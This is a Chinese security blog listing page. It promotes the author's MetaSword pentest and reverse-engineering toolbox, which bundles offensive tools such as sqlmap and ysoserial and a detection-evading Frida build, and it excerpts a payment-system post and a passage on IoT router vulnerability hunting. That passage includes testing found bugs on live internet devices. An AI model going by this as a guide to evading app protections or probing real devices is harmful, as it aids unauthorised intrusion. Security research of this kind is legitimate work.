首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,538 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
160
篇与
的结果
2026-07-09
【工具分享】逆向工具箱 - 次元剑
{callout color="#54b5db"}🍭 次元剑 - 最新版本:v1.0.9{/callout}留言B站我改名了从 “ACT忆梦” 换成了 发光的神,我换名字挺快的,基本都会有神字。不敢太高调,“神” 对于我来说还是太遥远了,所以还是为成神而努力发光吧。📖{mtitle title="你好,我是墩墩"/}中二的故事在浩瀚如星空的网络世界里,有一把神剑,它的名字深深印在那些敢于挑战者的心中。“次元剑(MetaSword)”是一把二次元的剑,它的诞生,早已超越了技术的范畴,力量与智慧的象征,是数不清的传奇故事交织而成的。创造者已经消失在历史的长河中,渐渐的被遗忘 。次元剑,它见证了时代的变迁,承载着前人奋斗的足迹,每一代工匠的锤炼,都让它更加锋利。从最初的锻造到今天,它经历了无数次的进化与提升,每一次的蜕变,都是对未来挑战的预演。它的锋利,永远不会随着时间的推移而削弱。随着科技的飞速进步,它会不断蜕变,每一次更新,都是一次力量的觉醒。无论是面对艰难的逆向工程,还是扑朔迷离的渗透测试,次元剑总能以无可匹敌的敏捷,帮助使用者克服所有的困难,打破障碍,突破极限。次元剑真正的力量,不是技术的完美,是来源于使用者的勇气与智慧。只有那些敢于迎接挑战、敢于突破常规的人,才能真正激发出次元剑的无尽潜能。最后让我们一起 “手握次元剑,仗梦走星辰” 吧。我还有句更酷的话:“手握次元剑,踏破九重天”。心中的剑“次元剑” 这个名字听起来可能有些中二,我给它赋予这个名字大部分原因是跟动漫有关,因为天马行空的想法和创意,只有在动漫里会出现,我想让它像动漫一样,拥有无限的可能性。工具箱的动态 Logo 来自于《刀剑神域》(Sword Art Online)。我很喜欢这部动漫作品,第一次看到主角使用星爆气流斩时,这就是男主角,总能给大家带来希望。他的坚定与勇气激励了我。作为主角的他每次总能化险为夷。我觉得,他的强大并不是来自外界,而是他的信念,还有他自己想守护的东西。除了日漫还有国漫,我比较喜欢斗破苍穹三年之约里药老的几句话:“当你紧握双手,里面什么也没有,当你打开双手,世界就在你手中。”“这个世界才没有什么真正的强者,有的只是想要变强的人。”“如果想要真正把剑挥出去,就要把心里的事放下。” “我想,挥剑和专注做事一样,应该就是把心里的顾虑全部放下。” 这么多年过去,初心没变。身边的人来了又走,经历了很多事,但人不能总活在回忆里,就算一个人,也要一直向前走。我还是那个热爱计算机技术的人,喜欢钻技术难题,连我自己都没想到,这件事竟然坚持了这么久。看到这里的你,如果是初学者,请一定要相信,你也可以。幻想爽文 .iframe-wrap-one{ width: 100%; height: 68vh; margin: 10px 0 0; border-radius: 12px; overflow: hidden; box-shadow: 0 8px 24px rgba(0,0,0,.12); } .iframe-wrap-one iframe{ width: 100%; height: 100%; border: 0; } 设计初衷次元剑官网{abtn icon="fa-ravelry" color="#000000" href="https://www.52tt.pro/tools/sword/" radius="" content="次元剑 - 逆流而上 | 点击进入"/} 技术可以垃,但一定要有B格,主要是自己写的有成就感些,工具整合后,查找起来更加方便啦!{abtn icon="fa-book" color="#e10000" href="https://www.52tt.pro/tools/sword/docs/" radius="" content="次元剑 - 使用教程 | 点击进入"/} 次元剑出鞘,这个故事,才刚刚开始。水墨特效 次元剑自带水墨启动特效,默认是开启的。如果你想关闭它,或者调整动画速度,都可以在设置中修改。基本功能{tabs}{tabs-pane label="次元・起源"} .flex-center-one { display: flex; justify-content: center; align-items: center; } .flex-center-one img { width: 550px; height: auto; } 主界面采用动感背景纹理 + 双剑视觉元素,精致且富有冲击力。Logo 灵感源自《刀剑神域》,界面边缘辅以 MetaSword 次元剑专属标识,整体风格鲜明、沉浸感更强。{/tabs-pane}{tabs-pane label="工具分类"} .flex-center-two { display: flex; justify-content: center; align-items: center; } .flex-center-two img { width: 543px; height: auto; } 工具分类采用了我个人偏好的方式设计,主要是为了使用更顺手。当然,也可能存在一些小bug,哈哈哈。模块名称核心工具适用场景Reverse(逆向分析)IDA Pro、x64dbg、Cheat Engine程序反编译、动态调试、内存修改、漏洞挖掘PenTest(渗透测试)Yakit、Tscan信息收集、漏洞扫描、渗透测试、安全评估Language(编程语言)Python、Java、C/C++ 环境脚本编写、代码编译、快速调试Other(杂项工具)文件管理、环境检测、格式转换辅助开发、系统配置、多场景适配Frida IDE(代码编辑器)魔改 Frida-Server动态注入、脚本调试、数据解密{/tabs-pane}{tabs-pane label="右键菜单"} 每个工具都支持右键菜单,可以打开程序存放位置,跟以管理员身份运行。{/tabs-pane}{tabs-pane label="批量删除"} 按住鼠标左键可选中工具批量删除,直接拖动可调整工具位置。{/tabs-pane}{/tabs-pane}{tabs-pane label="基础计算"} 一、基础计算直接输入表达式,Enter 计算,结果自动回填。支持:+ - * / ( ) 与数字、空格示例:1+5→6、(100+200)*3→900二、进制转换(仅支持 2/8/10/16 进制,英文括号)十进制转其他:(数字, 目标进制) 例:(4132,2)→二进制任意互转:(数字, 原进制, 目标进制) 例:(FF,16,10)→255十六进制大小写通用,支持空格三、AI 问答输入问题,按 Ctrl+Enter 提问,回答逐字显示。冷却 2 秒,不可连续提问使用步骤进入工具页 → 激活顶部搜索框计算/进制转换:EnterAI 问答:Ctrl+Enter注意事项必须使用英文括号结果会直接替换输入框内容{/tabs-pane}{tabs-pane label="窗口拉伸"} 主界面支持自由拉伸,窗口大小可根据使用习惯灵活调整(并记录最后一次关闭时的窗口尺寸)。{/tabs-pane}{tabs-pane label="设置面板"} 水墨开场特效可在设置面板开关,支持主题切换、MCP 配置、DeepSeek AI 设置,新增关于软件区域。{/tabs-pane}{tabs-pane label="关于作者"} 点击头像即可跳转到我的博客,头像文字还带有一点故障风的动画效果。{/tabs-pane}{/tabs}次元主题 .iframe-wrap-two{ width: 100%; height: 55vh; overflow: hidden; border-radius: 12px; } .iframe-wrap-two iframe{ width: 100%; height: 100%; border: 0; } Frida 编辑器(过检测版){message type="info" content="本内容仅用于学习与演示,请勿用于任何违法行为。"/}在工具栏中点击顶部导航栏 Frida IDE,即可打开 Frida Hook 代码编辑器。{tabs}{tabs-pane label="次元剑 Frida"} {/tabs-pane}{tabs-pane label="官方 Frida"} {/tabs-pane}{/tabs}次元剑内置魔改版 frida-server,并结合启动注入方式,官方 Frida 注入会被立即干掉,魔改版可无视此类检测。{tabs}{tabs-pane label="启动(Spawn)"} 在 Android 上,提供启动(Spawn)与 附加(Attach)两种注入模式,可选择直接附加正在运行的应用。{/tabs-pane}{tabs-pane label="附加(Attach)"}{/tabs-pane}{tabs-pane label="AI 代码编写"} 在 Windows 上可通过输入 PID 或拖拽程序进行注入,支持已启动和新启动的进程。次元剑内置 FridaIDE 模块专为动态注入与脚本开发而设计,简洁高效,适配多平台与调试场景:✅ 支持主流模拟器:兼容雷电、MuMu 等,无需繁琐配置即可注入运行。✅ Windows 与 Android 双平台调试:一键注入目标进程,快速启动 Hook。✅ 内置脚本补全引擎:涵盖 Java、ObjC、Memory、Module 等 API,辅助高效编写。✅ 集成 DeepSeek R1:AI 帮你生成 Hook 脚本逻辑,轻松上手。✅ 调试输出高亮显示:关键信息一目了然,快速定位调试重点。轻量化集成,功能完整,助你快速完成 Frida 脚本编写与注入。{/tabs-pane}{/tabs}AI 智能体{tabs}{tabs-pane label="DeepSeek-v4-Pro/Flash(支持 Agent)"} .flex-center-three { display: flex; justify-content: center; align-items: center; } .flex-center-three img { width: 100%; height: auto; } 前往 DeepSeek 官网获取 API key → 添加至设置 → 即可开启 AI 智能体功能。操作步骤1.先到 https://platform.deepseek.com/api_keys 进行创建 API key。 2.填入 API key 后点击保存即可使用(无需重启次元剑)。{/tabs-pane}{tabs-pane label="ChatGPT 3.5"} .flex-center-four { display: flex; justify-content: center; align-items: center; } .flex-center-four img { width: 75%; height: auto; } 只是 3.5,不是 4.5? 等我发达先。{/tabs-pane}{tabs-pane label="本地/远程 Ollama"}推荐模型:qwen2.5-coder:14b,参数越大越好(当然你的电脑够给力),小点的模型回复挺憨憨的。操作步骤1.访问 Ollama 官网: https://ollama.com/download,下载并安装 Ollama 程序。2.安装完成 Ollama 后,按下 Ctrl + R,输入 cmd 并回车打开命令提示符窗口,然后运行以下命令:ollama pull qwen2.5-coder:14b模型下载完成后,重启次元剑即可显示本地模型。更多模型可在官网查看:https://ollama.com/search{/tabs-pane}{tabs-pane label="GPT-OSS:120b"}【无图】在线模型,可直接使用。{/tabs-pane}{/tabs}MCP & Trae{tabs}{tabs-pane label="效果展示"}{/tabs-pane}{tabs-pane label="配置教程"}操作步骤1.打开 Trae → 设置 → 选择 MCP,启用手动配置。2.打开次元剑 → 设置 → 点击 MCP 配置复制参数,粘贴到 Trae 并确认即可。{/tabs-pane}{/tabs}开发者工具次元剑基于 Electron 框架开发,本质上可以看作一个浏览器应用,按下 Ctrl + P 即可打开内置的开发者工具。程序源码当然,你们也可以随意修改或添加功能,源码已开源,尽情发挥吧!源码结构 .dircard{background:#fff;border:1px solid #e5e7eb;border-radius:12px;padding:12px 14px;box-shadow:0 4px 16px rgba(0,0,0,.05)} @media (prefers-color-scheme: dark){.dircard{background:#0b0f14;color:#e5e7eb;border-color:#263241}} .codegrid{display:grid;grid-template-columns:auto 1fr;column-gap:16px;row-gap:.1em} .left{white-space:pre;tab-size:2} .right{color:#6b7280;white-space:pre-wrap} .k{color:#4f9e28;} app 🗂️ 核心源码 ├─ Core 🧩 主程序核心:应用逻辑、进程管理、功能调度 │ ├─ MetaSword.js ⚔️ 主入口:应用初始化、模块加载、生命周期 │ └─ MCPFunc.js 🔧 MCP 功能注册与调度中心 ├─ Nexus 🖼️ 主界面框架:UI 渲染 + 用户交互核心 │ ├─ Assets 🎨 公共资源库(全局共用素材) │ │ ├─ Image 🖼️ 公共图片、图标、背景资源 │ │ ├─ Sounds 🎵 音效、提示音资源 │ │ └─ Videos 🎬 动画、启动视频资源 │ ├─ CSS 🎨 全局样式:布局、皮肤、响应式适配 │ ├─ Fonts 🔡 全局字体库 │ │ └─ FontAwesome 🔠 图标字体库 │ │ ├─ css 🎨 FA 样式文件 │ │ ├─ fonts 🔡 字体文件 │ │ ├─ less 🧩 Less 源文件 │ │ └─ scss 🎛️ SCSS 源文件 │ ├─ JS 📜 全局脚本核心 │ │ ├─ AceMain ⚡ Ace 代码编辑器:补全、高亮、调试 │ │ │ └─ snippets ✂️ 代码片段库 │ │ └─ prismjs 🌈 代码语法高亮引擎 │ │ ├─ components 🧩 高亮组件 │ │ └─ themes 🎨 高亮主题 │ └─ Views 🖥️ 主界面模板:页面结构、弹窗、布局 │ └─ config ⚙️ 界面配置:视图参数、布局预设 ├─ Plugins 🔌 插件扩展 │ ├─ claude 🤖 Claude Code 集成 │ │ ├─ .claude ⚙️ Claude 配置中心 │ │ │ ├─ projects 📁 项目上下文记忆库 │ │ │ ├─ sessions 📝 会话记录与历史 │ │ │ └─ skills 🧰 安全审计技能包(PHP/.NET/CTF) │ │ ├─ AppData 💾 应用数据持久化 │ │ └─ Cache 🚀 本地缓存 │ ├─ CLI 🛠️ 命令行工具集(内嵌运行环境) │ │ ├─ apktool 📦 Android APK 反编译/重打包 │ │ ├─ arp-scan 🌐 ARP 网络扫描与发现 │ │ ├─ curl 🍭 HTTP/网络请求调试 │ │ ├─ dnSpy 🧬 .NET 反编译/调试/修改 │ │ ├─ exiftool 📷 文件元数据读写/取证 │ │ ├─ frida-tools ⚡ Frida 动态插桩工具链 │ │ ├─ fuff 🕷️ Web 目录/文件模糊测试 │ │ ├─ hashcat 🔐 GPU 哈希破解引擎 │ │ ├─ masscan ⚡ 超高速端口扫描器 │ │ ├─ radare2 🏴 反汇编/二进制分析框架 │ │ ├─ sqlmap 💉 SQL 注入自动化检测与利用 │ │ ├─ strings 🔎 二进制字符串提取 │ │ ├─ tshark 🦈 网络协议分析(Wireshark CLI) │ │ ├─ upx 📦 可执行文件加壳/脱壳 │ │ ├─ volatility3 🧠 内存取证分析框架 │ │ ├─ wafw00f 🛡️ Web 应用防火墙识别 │ │ └─ ysoserial 💥 Java 反序列化漏洞利用 │ └─ frida 🧩 Frida 动态插桩插件 │ ├─ Exten ⚙️ 运行依赖(Frida 运行时库) │ └─ Script 📝 Hook 脚本仓库 └─ Theme 🎨 多主题皮肤中心 ├─ Cover 🖼️ 主题封面资源 ├─ Fate 🕑 命运主题 ├─ Origin 🐳 起源主题 ├─ Reimu 🏳️🌈 灵梦主题 ├─ Ziya 🟣 紫雅 · 源主题 └─ Ziya Grey ⚪ 紫雅 · 灰主题 ├─ Assets 🎨 主题专属资源 │ └─ Image 🖼️ 主题图片、角色立绘 ├─ CSS 🎨 主题样式 └─ Views 🖥️ 界面布局 项目开源项目已上传至 GitHub,可直接替换次元剑 app 文件夹,即可完成版本更新。感兴趣的朋友欢迎点个 Star,我将持续更新视频教程与次元剑功能。若你有好的建议,随时可以联系我哦~ .toast-container { position: fixed; top: 130px; left: 50%; transform: translateX(-50%); z-index: 9999; max-width: 520px; width: 100%; } .toast { background-color: #0f141e; color: #e6edf7; padding: 14px 20px; margin-bottom: 16px; border-radius: 10px; border: 1px solid #272f3f; display: flex; justify-content: space-between; align-items: center; box-shadow: 0 0 16px rgba(139, 92, 246, 0.18); opacity: 0; transform: translateY(-40px) scale(0.96); transition: opacity 0.4s ease, transform 0.4s cubic-bezier(0.2, 0, 0.2, 1); font-size: 14px; } .toast.show { opacity: 1; transform: translateY(0) scale(1); } .toast .close-btn { background: none; border: none; color: #7c8798; font-size: 20px; cursor: pointer; padding: 2px 6px; margin-left: 16px; border-radius: 6px; transition: all 0.25s ease; } .toast .close-btn:hover { transform: scale(1.15); color: #ff5656; background: rgba(255, 86, 86, 0.1); } .toast .message { font-size: 15px; line-height: 1.6; flex-grow: 1; } .highlight-green { color: #22c55e; text-shadow: 0 0 6px rgba(34, 197, 94, 0.35); font-weight: 600; } .highlight-purple { color: #a78bfa; text-shadow: 0 0 8px rgba(139, 92, 246, 0.4); font-weight: 600; } function showToast(message, duration = 5000) { const toastContainer = document.getElementById('toastContainer'); const toast = document.createElement('div'); toast.classList.add('toast'); const messageElement = document.createElement('span'); messageElement.classList.add('message'); messageElement.innerHTML = message; toast.appendChild(messageElement); const closeButton = document.createElement('button'); closeButton.textContent = '×'; closeButton.classList.add('close-btn'); closeButton.onclick = () => { toast.classList.remove('show'); setTimeout(() => toast.remove(), 500); }; toast.appendChild(closeButton); toastContainer.appendChild(toast); setTimeout(() => toast.classList.add('show'), 80); setTimeout(() => { toast.classList.remove('show'); setTimeout(() => toast.remove(), 400); }, duration); } showToast("⚡ 史诗级 AI 版本更新公告,次元剑 v1.0.9 已正式上线,受外部条件限制,当前 AI 智能体暂时使用 Claude Code 驱动,自研引擎将在 v1.1.0 Beta 版本更新上线。", 10000); 版本更新{collapse}{collapse-item label="📜 历史记录" close}{timeline}{timeline-item color="#19be6b"}{card-describe title="2023-8-31"}📦 更新内容:版本:1.0.0 🛠️【技术】基于 Node.js、HTML/CSS、JS、Electron 构建🚀【新增】初代固定布局,包含主页、工具、ChatGPT、关于四大模块🚀【新增】复古圆角按钮,打造独特UI风格💪【优化】初步优化代码逻辑,项目持续迭代工具数量:62 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2024-6-16"}📦 更新内容:版本:1.0.1 🚀【新增】全新固定式UI布局,圆角按钮更简约现代🚀【新增】支持外部工具自定义,采用ToolsList.xml管理🚀【新增】优化双剑动画,界面更流畅美观🚀【新增】新增逆向与渗透常用工具,拓展实用性💪【优化】重构代码逻辑,提升稳定性与可维护性工具数量:85 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2024-7-15"}📦 更新内容:版本:1.0.2 🚀【新增】集成Frida IDE,支持独立编辑窗口,优化调试体验🚀【新增】自定义工具管理,通过ToolsList.xml灵活配置🚀【新增】水墨风Logo动画,提升开场视觉感工具数量:98 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2024-11-10"}📦 更新内容:版本:1.0.3-stable 🚀【新增】F1 快捷键快速隐藏/显示窗口🚀【新增】可关水墨开场动画,配置存入 ToolsList.xml🚀【新增】集成 Java、Python 脚本,支持一键 .bat 启动💪【优化】美化 Frida IDE 界面,支持拖拽代码注入💪【优化】兼容绝对路径配置,提升 ToolsList.xml 可用性🐞【修复】修复 Frida 权限不足,精简冗余逻辑🚀【新增】Frida IDE 快捷键:快捷键功能说明CTRL + +代码字体放大CTRL + -代码字体缩小CTRL + ALT + F代码缩进CTRL + /代码注释CTRL + F快速搜索工具数量:98 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2024-11-23"}📦 更新内容:版本:1.0.4 🚀【新增】新增逆向分析与渗透测试工具,功能更全面🚀【新增】新增设置面板,支持动画、主题、版本更新💪【优化】优化UI与视觉效果,精简代码💪【优化】移除启动动画XML配置,提升启动稳定性🐞【修复】修复Frida注入报错0x00000057问题🚀【新增】Frida IDE快捷键增强:快捷键功能说明CTRL + +代码字体放大CTRL + -代码字体缩小CTRL + ALT + F代码缩进CTRL + /代码注释CTRL + F快速搜索CTRL + H快速替换CTRL + L代码定位CTRL + D按行删除CTRL + ,设置面板ALT + E代码自检工具数量:100 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2025-3-31"}📦 更新内容:版本:1.0.5 🚀【新增】清理无效工具,替换为实用工具🚀【新增】工具右键支持打开程序位置🚀【新增】CheckTools 模块,校验工具完整性🚀【新增】集成运行环境,工具即点即用💪【优化】优化 UI 与性能,精简冗余逻辑🐞【修复】修复拖拽异常,增强 UAC 权限兼容工具数量:99 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2025-8-5"}📦 更新内容:版本:1.0.6 Beta 🚀【新增】全面重构代码,统一目录规范,提升稳定性🚀【新增】精简无用工具,新增实用常用工具🚀【新增】右键菜单:打开位置、管理员运行🚀【新增】集成 DeepSeek R1 AI,智能生成 Frida Hook 代码🚀【新增】支持窗口拉伸,适配多分辨率💪【优化】优化UI细节,界面更清爽统一💪【优化】清理冗余代码,程序更轻巧流畅🐞【修复】修复已知Bug,提升兼容与稳定性🐞【修复】优化UAC提权逻辑,适配更多环境🐞【修复】修复部分工具拖拽异常工具数量:100+{/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2026-1-7"}📦 更新内容:版本:1.0.7🚀【新增】次元剑动漫风格Logo主题,适配启动/主界面视觉💪【优化】清理冗余代码依赖,程序轻量化,运行更流畅💪【优化】精简工具库,保留常用工具,提升查找调用效率🐞【修复】修复已知问题,优化整体使用体验工具数量:100+{/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2026-04-1"}📦 更新内容:版本:1.0.8🚀【新增】支持 MCP 协议,联动 Trae 实现 AI 上下文交互🚀【新增】右键增删工具、长按批量删除、主题切换🚀【新增】支持添加工具,并在工具箱内自由拖拽摆放🚀【新增】输入框 Ctrl+Enter 快捷提问 AI、随机一言🚀【新增】工具箱启动提示更新,支持在线升级版本💪【优化】Frida IDE 代码高亮与提示性能💪【优化】重构代码,优化 UI 展示工具数量:100+{/card-describe}{/timeline-item}{timeline-item color="#ff0000"}{card-describe title="2026-06-28"}📦 更新内容:版本:1.0.9🚀【新增】AI 智能体,暂时集成 Claude Code + DeepSeek V4 Pro/Flash🚀【新增】终端工具栏,Skills 安装、提示词、MCP 面板、安全模式🚀【新增】CTF 全栈 skills(Web/PWN/Reverse 等 8 大类)+ 自动 Writeup🚀【新增】.NET + PHP 代码审计管线,30+ 审计 skill🚀【新增】内置 16 个 CLI 安全工具,AI 自动感知并优先调用🚀【新增】MCP 多语言运行时:Python / Java / C 在线编译执行🚀【新增】Agent 侧边面板,实时日志 + 权限弹窗 + 调用追踪💪【优化】精简 MCP 工具,移除冗余 I/O 接口,统一 CLI 直调💪【优化】重构主进程架构,统一无边框透明窗口体系💪【优化】5 套主题一键切换(起源/命运/紫雅/灵梦)💪【优化】启动动画可配置,全局快捷键,版本自动检测更新工具数量:100{/card-describe}{/timeline-item}{/timeline}{/collapse-item}{/collapse}工具下载{tabs}{tabs-pane label="工具下载"} .meta-container { max-width: 780px; margin: 30px auto; padding: 40px 30px; background-color: #fff; border: 1px solid #e5e7eb; border-radius: 18px; box-shadow: 0 6px 20px rgba(0, 0, 0, 0.05); font-family: 'Inter', 'Segoe UI', sans-serif; } .meta-header { display: flex; justify-content: center; margin-bottom: 18px; } .meta-logo-group { display: flex; align-items: center; } .meta-logo { height: 56px; margin-right: 12px; } .meta-title-group { display: flex; flex-direction: column; justify-content: center; } .meta-title { font-size: 24px; font-weight: 700; color: #111; letter-spacing: 3px; line-height: 1; margin-left: 30px; } .meta-subtitle { font-size: 14px; color: #888; line-height: 1.4; margin-top: 3px; } .meta-warning { text-align: center; font-size: 15px; color: #555; margin-bottom: 35px; } .link-list { display: flex; flex-direction: column; gap: 14px; } .link-block { display: flex; align-items: center; padding: 14px 20px; border-radius: 12px; background-color: #f3f4f6; text-decoration: none; color: #111; font-weight: 500; transition: background-color 0.2s ease; } .link-block:hover { background-color: #e5e7eb; } .link-icon { width: 20px; height: 20px; margin-right: 12px; flex-shrink: 0; } .link-code { background: #eee; padding: 2px 6px; border-radius: 4px; } 次 元 剑 MetaSword Toolbox v1.0.9 个别工具可能被安全软件误报,不放心可在虚拟机中使用。 【百度网盘】次元剑完整版|版本 1.0.9(2026.6.28)|提取码: 2085 【115网盘】次元剑完整版|版本 1.0.9(2026.6.28)|提取码: z075 【夸克网盘】次元剑完整版|版本 1.0.9(2026.6.28)|提取码: 无 【GitHub】MetaSword 源码仓库|仅包含基础源码,不包含工具 {message type="info" content="请确保次元剑安装路径不含中文字符,避免一些工具无法使用。"/}错误示例:D:\VoxShadow\次元剑\MetaSword 正确示例:D:\VoxShadow\MetaSword{/tabs-pane}{tabs-pane label="报毒说明"}可疑类型:后门、黑客工具、代码混淆器、木马、漏洞攻击、下载者、间谍、勒索。已完成威胁处置,当前仅剩 101 个低风险可疑文件,初步判断不影响电脑正常使用。{/tabs-pane}{/tabs}工具箱有任何建议或问题,可在 GitHub 提交 Issue,欢迎 Star 支持。定期更新次元剑内工具使用技巧,更多内容请关注:B站 | 抖音 账号。视频中用到的部分Hook代码,仅供参考:Frida Hook篇友情赞助 .donate-modern { max-width: 720px; margin: 0px auto; border-radius: 20px; background-color: #fff; text-align: center; } .donate-modern h2 { font-size: 22px; font-weight: 600; color: #111; margin-bottom: 8px; } .donate-modern p { font-size: 14px; color: #666; } .donate-qrcodes { display: flex; justify-content: center; gap: 40px; flex-wrap: wrap; } .donate-card { width: 200px; border-radius: 16px; padding: 16px; transition: all 0.2s ease; } .donate-card img { width: 100%; border-radius: 12px; margin-bottom: 10px; border: 1px solid #eee; } .donate-card span { font-size: 14px; color: #333; font-weight: 500; } 如果你觉得这个项目还不错,欢迎扫码支持一下 ❤️ 开源不易,维护更难!如果次元剑对你有帮助,欢迎给点小小的支持~ 💖你的认可和鼓励,就是我持续优化更新的动力!感谢陪伴,一起成长!✨免责声明本工具箱仅供学习与研究使用,旨在帮助用户提升技术能力,请勿将其用于非法用途,否则产生后果由使用者自行承担,作者不对任何滥用行为负责,敬请理性使用,遵守法律法规。2026-6-27 20:20 星期六 更新过
2026年07月09日
89,538 阅读
68 评论
4,564 点赞
2026-07-05
【工具分享】V免签支付 + vPay 自动发卡系统
简介V免签 是一款私有支付网关,配合 Android 手机监听微信/支付宝到账通知,无需企业资质即可接入支付。vPay 发卡 是本人从零开发的 PHP 原生虚拟商品自动售卡系统。两者独立开源,支持微信支付宝收款、可组合使用,部署后即可搭建一套完整的自动发卡平台。工作流程: 买家下单 → vPay 展示二维码 → 买家扫码支付 → V免签 Android 端监听到账 → 回调 vPay → vPay 自动匹配订单、扣减库存、发送卡密邮件。V免签 (vmq)基于 ThinkPHP 5.1 的免签支付回调服务端。配合 Android 监控端,通过辅助功能监听微信和支付宝通知栏,检测到账后推送至服务端完成订单匹配与回调,一台旧安卓手机即可作为私有支付网关。网站后台本项目基于 szvone/vmqphp 重写,主要改进:安全修复(9 项)SQL 注入:字符串拼接改为 PDO 参数化查询SSRF:CURL 出站增加内网 IP 黑名单校验,禁用重定向跟随XSS:param 参数增加 htmlspecialchars() 过滤订单号注入:正则限制 [a-zA-Z0-9_-],最长 100 字符存储型 XSS:回调 URL 写入前 FILTER_SANITIZE_URL调试模式:app_debug = false硬编码密钥:示例代码改为从数据库动态读取远程代码风险:移除 checkUpdate() 外部拉取逻辑CDN 供应链:jQuery、Vue 等前端资源全部本地化功能改进支持子目录部署,APK 扫码自动识别路径支付页重写,骨架屏加载 + 中英文切换系统运行时间改为数据库记录,跨平台通用APK 安装包内置在后台,可直接下载{abtn icon="fa-github" color="#000000" href="https://github.com/soevai/vmq" radius="" content="Github - vmq | 点击进入" /} {abtn icon="fa-book" color="#e10000" href="https://www.52tt.pro/repo/vmq/" radius="" content="在线 Demo 体验 | 点击进入"/}vPay 发卡 (vPayFaka)网站首页收款弹窗从零构建的 PHP 原生虚拟商品发卡系统,对接 V免签支付。零外部依赖——没有 composer、没有 npm、没有 CDN,文件上传到服务器即可运行,全栈自研,不基于任何现有框架或项目。主要特性商品管理:支持分类、多规格 SKU、库存自动统计自动发卡:SELECT ... FOR UPDATE 行级锁 + 事务,杜绝并发超卖一键安装:首次访问自动跳转安装向导,建库建表写配置邮件通知:支持 SMTP 直发和自定义 API(HMAC-SHA256 签名)超时取消:超时未支付自动取消并返还库存安全措施密码:bcrypt 哈希存储CSRF:random_bytes(32) 令牌 + hash_equals 常量时间比对SQL 注入:全 PDO 预处理 + 参数绑定回调校验:MD5 签名 + 300 秒时间戳窗口 + Nonce 文件去重频率限制:登录失败 5 次锁 3 分钟,购买每 IP 每小时 5 次HTTP 安全头:CSP、X-Frame-Options、X-Content-Type-Options{abtn icon="fa-github" color="#000000" href="https://github.com/soevai/vPayFaka" radius="" content="Github - vPayFaka | 点击进入" /} {abtn icon="fa-book" color="#e10000" href="https://www.52tt.pro/repo/vpay/" radius="" content="在线 Demo 体验 | 点击进入"/}协同方式两个项目独立开源,可单独或组合使用,对接只需在 vPay 后台填入 V免签的服务端地址和通讯密钥。V免签(监听收款)→ notify.php 回调 → vPay 发卡(匹配订单、提取卡密、发送邮件)详细的 API 文档、数据库结构、部署步骤和定时任务配置见各项目 GitHub README。免责声明两个项目均为开源学习用途,请勿用于任何违法违规场景,使用者自行承担相应责任。
2026年07月05日
255 阅读
0 评论
8 点赞
2026-04-11
【技术分享】IoT 安全 白盒视角下的漏洞挖掘
留言记录一次 "低门槛" 路由器漏洞挖掘,流程简单清晰,就像在漏洞靶场里通关一样。本来不太想写,毕竟难度很低、含金量一般,水了几张证书,随手记录一下吧。浅谈 IoT 漏洞挖掘市面上家用路由器、智能摄像头、智能家居、工业小型设备基本都属于 IoT 物联网设备,这类设备普遍开发成本低、安全意识薄弱,代码写得比较随意,防护机制简陋,是漏洞高发重灾区。不同于互联网网站漏洞,IoT 挖洞大多围绕固件分析、二进制逆向、接口测试、设备仿真展开,门槛有高有低。入门玩法不用精通高深逆向,靠着固件解包、抓接口测试、简单 Fuzz 就能挖出大量未授权、命令执行、硬编码密码这类实用漏洞,上手快、出洞效率高,很适合新手练手攒成果。而且绝大多数老旧 IoT 设备几乎没有任何内存保护、权限校验形同虚设,很容易挖到栈溢出、权限绕过这类经典漏洞。日常挖掘既能熟悉嵌入式设备运行逻辑,也能轻松提交漏洞平台拿证书,当作技术积累再合适不过。寻找目标挖漏洞不难,难在找目标、搞到源码,前期核心都是信息收集。在开始分析之前,必须先确定目标,以下是推荐的搜集方式:1.在购物平台找网络设备,比如:路由器、摄像头,然后看品牌是哪个公司的。2.在 Github 上找资源搜 Iot 相关的资料或者项目,这是我比较推荐的一个项目 IoTFirmwareAnalysisGuide,记录了一些厂商链接跟相关技术文档。{abtn icon="fa-github" color="#000" href="https://github.com/SecureNexusLab/IoTFirmwareAnalysisGuide" radius="" content="IoTFirmwareAnalysisGuide"/} 3.看 CVE、CNVD、NCC 等漏洞库,搜 路由器、IoT、固件 关键词,找已公开漏洞的型号或公司。固件提取找到目标后,一般官网上都有路由器升级固件,如果没有就找台设备 升级固件 然后抓包下载。当然还有其他办法,可以看推荐的那个 IoTFirmwareAnalysisGuide 项目里有写。基本流程:下载固件 → binwalk 解包 → 逆向分析 → 定位漏洞 → 本地验证 → 互联网实测 → 提交报告 → 漏洞闭环。部分固件会加密,无法直接解包,可通过旧版固件逆向解密算法。或从设备中 dump 密钥与明文固件,也能在 GitHub 